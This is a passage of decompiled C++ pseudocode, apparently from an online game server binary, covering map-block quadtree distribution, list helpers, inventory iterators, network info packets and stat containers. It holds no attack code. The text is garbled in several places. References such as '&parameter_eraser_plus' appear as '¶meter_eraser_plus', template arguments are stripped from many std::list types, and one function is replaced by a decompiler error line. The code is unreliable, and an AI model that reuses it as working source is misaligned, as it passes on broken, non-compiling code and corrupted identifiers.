4; } while ( v3 < 4 ); emptycellnum[0] = 1000 * emptycellnum[0] / v2; emptycellnum[1] = 1000 * emptycellnum[1] / v2; emptycellnum[2] = 1000 * emptycellnum[2] / v2; v6 = 0; emptycellnum[3] = 1000 * emptycellnum[3] / v2; LABEL_8: v7 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v7; v8 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v7]]; v9 = *((_DWORD *)v8 + 8193) & (*((_DWORD *)v8 + 8192) + 1); *((_DWORD *)v8 + 8192) = v9; v10 = *(_WORD *)&v8[2 * v9]; v11 = 0; while ( 1 ) { v12 = emptycellnum[v11]; if ( v10 < v12 ) break; v10 -= v12; ++v11; if ( v11 >= 4 ) { ++v6; if ( v6 < 0xA ) goto LABEL_8; v11 = 0; v13 = (char *)this->bd_Brench; while ( v11 < 4 ) { if ( *(_DWORD *)v13 ) goto LABEL_16; ++v11; v13 += 4; } return 0; } } LABEL_16: this = this->bd_Brench[v11]; if ( this->bd_Brenchs ) continue; break; } } v14 = this->bd_Top + this->bd_Bottom; xy->x = ((signed int)v14 - HIDWORD(v14)) >> 1; v15 = this->bd_Left + this->bd_Right; xy->y = ((signed int)v15 - HIDWORD(v15)) >> 1; return 1; } //----- (004283C0) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistribute::_BlockingDistribute(BlockDistribute::BlockingDistribute *this) { BlockDistribute::BlockingDistribute *v1; // eax@1 BlockDistribute::BlockingDistribute *v2; // eax@3 BlockDistribute::BlockingDistribute *v3; // eax@5 BlockDistribute::BlockingDistribute *v4; // ecx@7 v1 = this->bd_Brench[0]; if ( v1 ) v1->bd_Act = 0; v2 = this->bd_Brench[1]; if ( v2 ) v2->bd_Act = 0; v3 = this->bd_Brench[2]; if ( v3 ) v3->bd_Act = 0; v4 = this->bd_Brench[3]; if ( v4 ) v4->bd_Act = 0; } //----- (004283F0) -------------------------------------------------------- void __thiscall BlockDistribute::BlockDistributeManager::BlockDistributeManager(BlockDistribute::BlockDistributeManager *this) { BlockDistribute::BlockDistributeManager *v1; // ebp@1 int v2; // esi@1 signed int v3; // edi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x10u, 64, (void (__thiscall *)(void *))KQRegenTable::Element::Element, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = (int)&v1->bdm_Array[0].mapid.n3_name[4]; v3 = 64; do { *(_DWORD *)(v2 + 4) = 0; *(_DWORD *)v2 = 0; *(_DWORD *)(v2 - 4) = 0; strncpy((char *)(v2 - 4), byte_5A62A6, 0xCu); *(_DWORD *)(v2 + 8) = 0; v2 += 16; --v3; } while ( v3 ); } //----- (00428440) -------------------------------------------------------- void __thiscall BlockDistribute::BlockDistributeManager::_BlockDistributeManager(BlockDistribute::BlockDistributeManager *this) { char *v1; // eax@1 signed int v2; // esi@1 int v3; // edx@2 int v4; // edx@6 int v5; // edx@8 v1 = (char *)&this->bdm_Array[1].block; v2 = 16; do { v3 = *((_DWORD *)v1 - 4); if ( v3 ) *(_BYTE *)(v3 + 28) = 0; if ( *(_DWORD *)v1 ) *(_BYTE *)(*(_DWORD *)v1 + 28) = 0; v4 = *((_DWORD *)v1 + 4); if ( v4 ) *(_BYTE *)(v4 + 28) = 0; v5 = *((_DWORD *)v1 + 8); if ( v5 ) *(_BYTE *)(v5 + 28) = 0; v1 += 64; --v2; } while ( v2 ); _eh_vector_destructor_iterator_( this, 0x10u, 64, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00428490) -------------------------------------------------------- void __thiscall std::_List_nod>::_Node::__Node(std::_List_nod >::_Node *this) { BlockDistribute::BlockingDistribute *v1; // eax@1 BlockDistribute::BlockingDistribute *v2; // eax@3 BlockDistribute::BlockingDistribute *v3; // eax@5 BlockDistribute::BlockingDistribute *v4; // ecx@7 v1 = this->_Myval.bd_Brench[0]; if ( v1 ) v1->bd_Act = 0; v2 = this->_Myval.bd_Brench[1]; if ( v2 ) v2->bd_Act = 0; v3 = this->_Myval.bd_Brench[2]; if ( v3 ) v3->bd_Act = 0; v4 = this->_Myval.bd_Brench[3]; if ( v4 ) v4->bd_Act = 0; } //----- (004284C0) -------------------------------------------------------- std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this) { std::_List_nod >::_Node *result; // eax@1 result = (std::_List_nod >::_Node *)operator new(0x28u); if ( result ) result->_Next = result; if ( result != (std::_List_nod >::_Node *)-4 ) result->_Prev = result; return result; } //----- (004284E0) -------------------------------------------------------- std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this, std::_List_nod >::_Node *_Next, std::_List_nod >::_Node *_Prev, BlockDistribute::BlockingDistribute *_Val) { std::_List_nod >::_Node *result; // eax@1 result = (std::_List_nod >::_Node *)operator new(0x28u); if ( result ) { result->_Next = _Next; result->_Prev = _Prev; memcpy(&result->_Myval, _Val, sizeof(result->_Myval)); } return result; } //----- (00428510) -------------------------------------------------------- void __thiscall std::list>::clear(std::list > *this) { std::list > *v1; // edi@1 std::_List_nod >::_Node *v2; // eax@1 std::_List_nod >::_Node *v3; // esi@1 std::_List_nod >::_Node *v4; // eax@1 std::_List_nod >::_Node *v5; // ebx@2 v1 = this; v2 = this->_Myhead; v3 = v2->_Next; v2->_Next = v2; v4 = this->_Myhead; v4->_Prev = v4; this->_Mysize = 0; if ( v3 != v4 ) { do { v5 = v3->_Next; std::_List_nod>::_Node::__Node(v3); operator delete(v3); v3 = v5; } while ( v5 != v1->_Myhead ); } } //----- (00428550) -------------------------------------------------------- void __thiscall std::list>::remove_if(std::list > *this, bool (__cdecl *_Pred)(BlockDistribute::BlockingDistribute *)) { std::list > *v2; // edi@1 std::_List_nod >::_Node *v3; // ebp@1 std::_List_nod >::_Node *v4; // esi@1 std::_List_nod >::_Node *v5; // ebx@3 v2 = this; v3 = this->_Myhead; v4 = v3->_Next; while ( v4 != v3 ) { if ( _Pred(&v4->_Myval) ) { v5 = v4->_Next; if ( v4 != v2->_Myhead ) { v4->_Prev->_Next = v5; v4->_Next->_Prev = v4->_Prev; std::_List_nod>::_Node::__Node(v4); operator delete(v4); --v2->_Mysize; } v4 = v5; } else { v4 = v4->_Next; } } } //----- (004285B0) -------------------------------------------------------- void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count) { unsigned int v2; // eax@1 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v5; // [sp+4Ch] [bp-4h]@2 v2 = this->_Mysize; if ( (unsigned int)&wholesaver.ws_savestore[1588].esc_skill.buffer[-v2 + 3203] < _Count ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "list too long", 0x10u); v5 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } this->_Mysize = _Count + v2; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00428650) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistributeList::BlockingDistributeList(BlockDistribute::BlockingDistributeList *this) { BlockDistribute::BlockingDistributeList *v1; // esi@1 v1 = this; this->bdl_List._Myhead = std::list>::_Buynode(&this->bdl_List); v1->bdl_List._Mysize = 0; } //----- (00428670) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistributeList::_BlockingDistributeList(BlockDistribute::BlockingDistributeList *this) { BlockDistribute::BlockingDistributeList *v1; // esi@1 v1 = this; std::list>::clear(&this->bdl_List); operator delete(v1->bdl_List._Myhead); v1->bdl_List._Myhead = 0; } //----- (00428690) -------------------------------------------------------- BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockingDistributeList::bdl_New(BlockDistribute::BlockingDistributeList *this) { BlockDistribute::BlockingDistributeList *v1; // esi@1 std::_List_nod >::_Node *v2; // edi@1 std::_List_nod >::_Node *v3; // ecx@1 std::_List_nod >::_Node *v4; // ebx@1 BlockDistribute::BlockingDistribute *result; // eax@1 BlockDistribute::BlockingDistribute _Val; // [sp+Ch] [bp-2Ch]@1 int v7; // [sp+34h] [bp-4h]@1 v1 = this; _Val.bd_Act = 0; _Val.bd_Brench[3] = 0; _Val.bd_Brench[2] = 0; _Val.bd_Brench[1] = 0; _Val.bd_Brench[0] = 0; v2 = this->bdl_List._Myhead; v3 = v2->_Prev; v7 = 0; v4 = std::list>::_Buynode( &v1->bdl_List, v2, v3, &_Val); std::list>::_Incsize( &v1->bdl_List, 1u); v2->_Prev = v4; v4->_Prev->_Next = v4; result = &v1->bdl_List._Myhead->_Prev->_Myval; v1->bdl_List._Myhead->_Prev->_Myval.bd_Act = 1; return result; } //----- (00428710) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistribute::bd_Initialize(BlockDistribute::BlockingDistribute *this, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right) { int v6; // ebx@1 BlockDistribute::BlockingDistribute *v7; // esi@1 BlockDistribute::BlockingDistribute *v8; // eax@10 int v9; // edi@10 int v10; // ebp@10 BlockDistribute::BlockingDistribute *v11; // eax@10 BlockDistribute::BlockingDistribute *v12; // eax@10 BlockDistribute::BlockingDistribute *v13; // eax@10 BlockDistribute::BlockingDistribute *v14; // eax@10 BlockDistribute::BlockingDistribute *v15; // eax@12 BlockDistribute::BlockingDistribute *v16; // eax@14 BlockDistribute::BlockingDistribute *v17; // eax@16 int v18; // [sp+10h] [bp-4h]@7 int topa; // [sp+1Ch] [bp+8h]@8 v6 = top; v7 = this; if ( top >= 60000 || bottom >= 60000 || left >= 60000 || right >= 60000 ) { AssertClass::ac_AssertFail(&shineassert, "Too small size", 0); ShineExit("BlockDistribute::BlockingDistribute::BlockingDistribute"); } v18 = (unsigned __int16)top; this->bd_Top = top; this->bd_Bottom = bottom; this->bd_Left = left; this->bd_Right = right; if ( (unsigned __int16)top - (unsigned __int16)bottom >= 100 || (topa = (unsigned __int16)right, (unsigned __int16)right - (unsigned __int16)left >= 100) ) { v8 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v9 = (left + right) / 2; v10 = (v6 + bottom) / 2; v7->bd_Brench[0] = v8; BlockDistribute::BlockingDistribute::bd_Initialize(v8, blockinfo, v6, v10, left, v9); v11 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v7->bd_Brench[1] = v11; BlockDistribute::BlockingDistribute::bd_Initialize(v11, blockinfo, v6, v10, v9, right); v12 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v7->bd_Brench[2] = v12; BlockDistribute::BlockingDistribute::bd_Initialize(v12, blockinfo, v10, bottom, left, v9); v13 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v7->bd_Brench[3] = v13; BlockDistribute::BlockingDistribute::bd_Initialize(v13, blockinfo, v10, bottom, v9, right); v14 = v7->bd_Brench[0]; if ( !v14->bd_EmptyCellNum ) { v14->bd_Act = 0; v7->bd_Brench[0] = 0; } v15 = v7->bd_Brench[1]; if ( !v15->bd_EmptyCellNum ) { v15->bd_Act = 0; v7->bd_Brench[1] = 0; } v16 = v7->bd_Brench[2]; if ( !v16->bd_EmptyCellNum ) { v16->bd_Act = 0; v7->bd_Brench[2] = 0; } v17 = v7->bd_Brench[3]; if ( !v17->bd_EmptyCellNum ) { v17->bd_Act = 0; v7->bd_Brench[3] = 0; } v7->bd_EmptyCellNum = 0; v7->bd_Brenchs = 0; if ( v7->bd_Brench[0] ) { v7->bd_Brenchs = 1; v7->bd_EmptyCellNum = v7->bd_Brench[0]->bd_EmptyCellNum; } if ( v7->bd_Brench[1] ) { ++v7->bd_Brenchs; v7->bd_EmptyCellNum += v7->bd_Brench[1]->bd_EmptyCellNum; } if ( v7->bd_Brench[2] ) { ++v7->bd_Brenchs; v7->bd_EmptyCellNum += v7->bd_Brench[2]->bd_EmptyCellNum; } if ( v7->bd_Brench[3] ) { ++v7->bd_Brenchs; v7->bd_EmptyCellNum += v7->bd_Brench[3]->bd_EmptyCellNum; } } else { this->bd_EmptyCellNum = MapBlock::MapBlockInformation::mbi_IsMoveBlock( blockinfo, ((unsigned __int16)bottom + v18) / 2, (topa + (unsigned __int16)left) / 2) == 0; v7->bd_Brench[3] = 0; v7->bd_Brench[2] = 0; v7->bd_Brench[1] = 0; v7->bd_Brench[0] = 0; v7->bd_Brenchs = 0; } } //----- (00428920) -------------------------------------------------------- BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockDistributeManager::bdm_Find(BlockDistribute::BlockDistributeManager *this, Name3 *mapid, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right) { BlockDistribute::BlockDistributeManager *v7; // ebx@1 unsigned int v8; // esi@1 char *v9; // eax@1 char *v10; // esi@10 BlockDistribute::BlockingDistribute *v11; // eax@10 v7 = this; v8 = 0; v9 = &this->bdm_Array[0].mapid.n3_name[8]; do { if ( *((_DWORD *)v9 - 2) == *(_DWORD *)&mapid->n3_name[0] && *((_DWORD *)v9 - 1) == *(_DWORD *)&mapid->n3_name[4] && *(_DWORD *)v9 == *(_DWORD *)&mapid->n3_name[8] ) { MapBlock::MapDoorArray::mda_CloseAllDoor(&blockinfo->mbi_DoorBlockInform, blockinfo); return v7->bdm_Array[v8].block; } if ( !*((_DWORD *)v9 + 1) ) break; ++v8; v9 += 16; } while ( v8 < 0x40 ); if ( v8 >= 0x40 ) { AssertClass::ac_AssertFail( &shineassert, "BlockDistribute::BlockDistributeManager::bdm_Find : Too many BlockDistribute", 0); ShineExit("BlockDistribute::BlockDistributeManager::bdm_Find"); } v10 = (char *)this + 16 * v8; *(_QWORD *)v10 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v10 + 2) = *(_DWORD *)&mapid->n3_name[8]; MapBlock::MapDoorArray::mda_CloseAllDoor(&blockinfo->mbi_DoorBlockInform, blockinfo); v11 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); *((_DWORD *)v10 + 3) = v11; BlockDistribute::BlockingDistribute::bd_Initialize(v11, blockinfo, top, bottom, left, right); std::list>::remove_if( &g_BlockingDistributeList.bdl_List, BlockDistribute::BlockingDistribute::bd_Inactiv); return (BlockDistribute::BlockingDistribute *)*((_DWORD *)v10 + 3); } //----- (00428A10) -------------------------------------------------------- void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::Reset(PROTO_NC_CHAR_WEDDINGDATA_ACK *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = this->___u4.SubWhen._bf0; LOBYTE(this->When._bf0) = 0; this->When._bf0 = v2; this->header.clienthandle = -1; this->header.charregistnumber = -1; this->Status._bf0 = 0; *(_DWORD *)&this->gap12[11] = 0; *(_DWORD *)&this->gap12[7] = 0; *(_DWORD *)&this->gap12[3] = 0; *(_DWORD *)&this->Partner._bf0 = 0; strncpy(&this->Partner._bf0, byte_5A62A6, 0x10u); v1->WeddingCount = 0; v1->RefusalCount = 0; *(_DWORD *)&v1->gap12[15] = -1; } //----- (00428A60) -------------------------------------------------------- void __thiscall BattleStat::bs_Clear(BattleStat *this) { this->bs_KnockDownNum = 0; this->bs_HittedNum = 0; this->bs_CriticalNum = 0; this->bs_SkillBlast = 0; this->bs_HealAmount = 0; this->bs_DamageAmount = 0; this->bs_KillScore = 0; this->bs_Dead = 0; this->bs_Kill = 0; this->bs_Score = 10000; } //----- (00428AA0) -------------------------------------------------------- DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, int num) { DebugLogging *v2; // esi@1 _iobuf *v3; // eax@3 v2 = this; if ( DebugLogging::dl_ActivAll ) { if ( this->dl_Activ ) { DebugLogging::dl_FilePoint(this); v3 = v2->dl_FilePointer; if ( v3 ) fprintf(v3, "%d"); } } return v2; } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00428AE0) -------------------------------------------------------- void __thiscall MobAttackSequence::AttackElement4Mob::AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this) { MobAttackSequence::AttackElement4Mob *v1; // esi@1 v1 = this; MobAttackSequence::SkillChangeList::SkillChangeList(&this->ae4m_OutOfRangeBody); MobAttackSequence::SkillChangeList::SkillChangeList(&v1->ae4m_HPLowBody); MobAttackSequence::SkillChangeList::SkillChangeList(&v1->ae4m_TargetStateBody); MobAttackSequence::SkillChangeList::SkillChangeList(&v1->ae4m_SaveNextSkillBody); } //----- (00428B50) -------------------------------------------------------- void __thiscall MobAttackSequence::AttackElement4Mob::_AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this) { MobAttackSequence::AttackElement4Mob *v1; // esi@1 v1 = this; List::_List((ItemLotAnalyser::LotAnalyser *)&this->ae4m_SaveNextSkillBody); List::_List((ItemLotAnalyser::LotAnalyser *)&v1->ae4m_TargetStateBody); List::_List((ItemLotAnalyser::LotAnalyser *)&v1->ae4m_HPLowBody); List::_List((ItemLotAnalyser::LotAnalyser *)&v1->ae4m_OutOfRangeBody); } //----- (00428BD0) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_Reset(ItemLotInspector *this) { unsigned int v1; // edx@1 v1 = 248 * (this->ili_ArrayPointer.mask & (this->ili_ArrayPointer.value + 1)); this->ili_ArrayPointer.value = this->ili_ArrayPointer.mask & (this->ili_ArrayPointer.value + 1); this->ili_Action = 0; *(_WORD *)&this->gap4[v1 + 4] = -1; this->gap4[v1 + 228] = 0; this->gap4[v1 + 220] = 0; this->gap4[v1 + 112] = 0; this->gap4[v1 + 6] = 0; } //----- (00428C10) -------------------------------------------------------- void __thiscall ItemBoxIterItem::ItemBoxIterItem(ItemBoxIterItem *this, ItemBag *ib, ChargedEffectContainer *cec) { ItemBoxIterItem *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) { this->baseclass_0.ibi_Limit = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; } else { this->baseclass_0.ibi_Limit = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; } } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00428C60) -------------------------------------------------------- void __thiscall ItemBoxIterEmpty::ItemBoxIterEmpty(ItemBoxIterEmpty *this, ItemBag *ib, ChargedEffectContainer *cec) { ItemBoxIterEmpty *v3; // esi@1 v3 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) { this->baseclass_0.ibi_Limit = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; } else { this->baseclass_0.ibi_Limit = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; } } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); //----- (00428CB0) -------------------------------------------------------- void __thiscall ItemBoxIterIdent::ItemBoxIterIdent(ItemBoxIterIdent *this, ItemBag *ib, unsigned __int16 ident, ChargedEffectContainer *cec) { ItemBoxIterIdent *v4; // esi@1 int v5; // eax@2 v4 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) v5 = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); else v5 = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v4->baseclass_0.ibi_Limit = v5; v4->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; v4->ibii_ident = ident; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00428CF0) -------------------------------------------------------- void __thiscall ItemBoxIterator::_ItemBoxIterator(ItemBoxIterItemRegNo *this) { this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (00428D00) -------------------------------------------------------- char __thiscall ItemBoxIterator::ibi_Home(ItemBoxIterator *this) { ItemBoxIterator *v1; // esi@1 ItemBoxIteratorVtbl *v2; // eax@1 char result; // al@2 v1 = this; v2 = this->vfptr; this->ibi_finger = 0; if ( (unsigned __int8)((int (*)(void))v2->ibi_isvalid)() ) result = 1; else result = ItemBoxIterator::ibi_Next(v1); return result; } //----- (00428D20) -------------------------------------------------------- ItemInventoryCell *__thiscall ItemBoxIterator::ibi_Get(ItemBoxIterator *this) { return (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))this->ibi_itembag)(this->ibi_finger); } //----- (00428D30) -------------------------------------------------------- unsigned __int16 __thiscall ItemInventoryCell::iic_ItemIdent(ItemInform_ActionItem *this) { return this->iiai_ItemID; } //----- (00428D40) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLock::icl_IncIndex(InventoryLocking::InventoryCellLock *this) { ++this->icl_Index; } //----- (00428D50) -------------------------------------------------------- void __thiscall InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator(InventoryLocking::UnlockedInventoryIterator *this, int type, ItemBoxIterator *iter, InventoryLocking::InventoryCellLock *lcklst) { this->uii_Iterator = iter; this->uii_LockList = lcklst; this->uii_InvenType = type; } //----- (00428D70) -------------------------------------------------------- ItemInventoryCell *__thiscall InventoryLocking::UnlockedInventoryIterator::uii_Get(InventoryLocking::UnlockedInventoryIterator *this) { return (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))this->uii_Iterator->ibi_itembag)(this->uii_Iterator->ibi_finger); } //----- (00428D80) -------------------------------------------------------- int __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Slot(InventoryLocking::UnlockedInventoryIterator *this) { return this->uii_Iterator->ibi_finger; } //----- (00428D90) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_HideMyIdentity(BriefInformationCharacter *this) { BriefInformationCharacter *v1; // esi@1 char *v2; // ST00_4@1 v1 = this; v2 = (char *)&this->bic_BriefInfo->charid; *(_DWORD *)&this->bic_BriefInfo->charid.n4_name[12] = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 1) = 0; *(_DWORD *)v2 = 0; strncpy(v2, "???", 0x10u); v1->bic_BriefInfo->chartitle.Type = 0; v1->bic_BriefInfo->chartitle.ElementNo = 0; v1->bic_BriefInfo->chartitle.MobID = -1; v1->bic_BriefInfo->myguild = 0; } //----- (00428DF0) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_ShowMyIdentity(BriefInformationCharacter *this, ZoneCharData *chardata, char Type, char ElementNo, unsigned __int16 MobID, unsigned int gld) { char *v6; // eax@1 v6 = (char *)&this->bic_BriefInfo->charid; *(_QWORD *)v6 = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[0]; *((_QWORD *)v6 + 1) = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[8]; this->bic_BriefInfo->chartitle.Type = Type; this->bic_BriefInfo->chartitle.ElementNo = ElementNo; this->bic_BriefInfo->chartitle.MobID = MobID; this->bic_BriefInfo->myguild = gld; } //----- (00428E60) -------------------------------------------------------- void __thiscall BriefInfoDelete::BriefInfoDelete(BriefInfoDelete *this) { BriefInfoDelete *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bid_Pack.pp_PacketLength = 0; this->bid_Pack.pp_Buffer = this->bid_Array; this->bid_Pack.pp_BufferSize = 128; ProtocolPacket::pp_SetPacketLen(&this->bid_Pack, 4); v2 = v1->bid_Pack.pp_Buffer; v1->bid_nc = (NETCOMMAND *)v1->bid_Pack.pp_Buffer; v1->bid_BriefDelete = (PROTO_NC_BRIEFINFO_BRIEFINFODELETE_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bid_nc->protocol = v1->bid_nc->protocol & 0xFC0E | 0xE; } //----- (00428EC0) -------------------------------------------------------- void __thiscall BriefInformationAbstate::BriefInformationAbstate(BriefInformationAbstate *this) { BriefInformationAbstate *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = this->bia_abStateBuffer; v1->bia_Packet.pp_Buffer = v2; v1->bia_Packet.pp_PacketLength = 0; v1->bia_Packet.pp_BufferSize = 365; *(_WORD *)v2 = 7193; v1->bia_nc = (NETCOMMAND *)v2; v1->bia_Pointer = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(v2 + 2); } //----- (00428EF0) -------------------------------------------------------- #error "428EF0: undefined or illegal type '#325' (funcsize=19)" //----- (00428F20) -------------------------------------------------------- int __thiscall Parameter::Container::c_clear(int this) { int result; // eax@1 char v2; // bl@1 result = this; memcpy((void *)this, ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 192), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 384), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 576), ¶meter_eraser_plus, 0xC0u); v2 = *(_BYTE *)(this + 3086); memcpy((void *)(this + 768), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 960), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 1152), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 1344), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 1536), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 1728), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 1920), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 2112), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 2304), ¶meter_eraser_rate, 0xC0u); memcpy((void *)(this + 2496), ¶meter_eraser_plus, 0xC0u); memcpy((void *)(this + 2688), ¶meter_eraser_rate, 0xC0u); *(_WORD *)(this + 3082) = 1000; *(_WORD *)(this + 3084) = 0; *(_WORD *)(this + 3072) = 0; *(_WORD *)(this + 3080) = 0; *(_WORD *)(this + 3078) = 0; *(_WORD *)(this + 3076) = 0; *(_WORD *)(this + 3074) = 0; *(_BYTE *)(this + 3086) = v2 & 0xF8; *(_WORD *)(this + 3092) = -1; *(_WORD *)(this + 3090) = 0; *(_WORD *)(this + 3088) = 0; *(_WORD *)(this + 3094) = 1000; *(_DWORD *)(this + 1664) = 0; *(_DWORD *)(this + 1668) = 0; return result; } //----- (004290B0) -------------------------------------------------------- int __thiscall Parameter::Container::c_StoreMob(int this, int mobdatabox) { int result; // eax@1 result = this; memcpy((void *)this, ¶meter_eraser_plus, 0xC0u); *(_DWORD *)this = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 80); *(_DWORD *)(this + 4) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 84); *(_DWORD *)(this + 8) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 82); *(_DWORD *)(this + 12) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 86); *(_DWORD *)(this + 16) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 88); *(_DWORD *)(this + 24) = 0; *(_DWORD *)(this + 20) = 0; *(_DWORD *)(this + 28) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 37); *(_DWORD *)(this + 32) = 0; *(_DWORD *)(this + 36) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 39); *(_DWORD *)(this + 44) = 0; *(_DWORD *)(this + 40) = 0; *(_DWORD *)(this + 48) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 41); *(_DWORD *)(this + 52) = 0; *(_DWORD *)(this + 56) = *(_WORD *)(*(_DWORD *)(mobdatabox + 4) + 43); *(_DWORD *)(this + 76) = 1000; *(_DWORD *)(this + 80) = 1000; *(_DWORD *)(this + 84) = 1000; *(_DWORD *)(this + 88) = 0; *(_DWORD *)(this + 92) = 0; *(_DWORD *)(this + 96) = 0; *(_DWORD *)(this + 100) = 0; *(_DWORD *)(this + 104) = 0; *(_DWORD *)(this + 108) = 0; *(_DWORD *)(this + 112) = 0; *(_DWORD *)(this + 116) = 0; *(_DWORD *)(this + 120) = 0; *(_DWORD *)(this + 124) = 0; return result; } //----- (00429170) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionRoaming::mar_Init(MobTacticElement::MobActionRoaming *this, ShineObjectClass::RoamingInformation *roaminfo) { MobTacticElement::MobActionBase *result; // eax@1 result = (MobTacticElement::MobActionBase *)this; HIBYTE(roaminfo->_bf0) = 0; return result; } //----- (00429180) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_door_Build(int pmap, int x, int y, int dir, __int16 handle, __int16 mobid, int scale) { return 1; } //----- (00429190) -------------------------------------------------------- void __thiscall 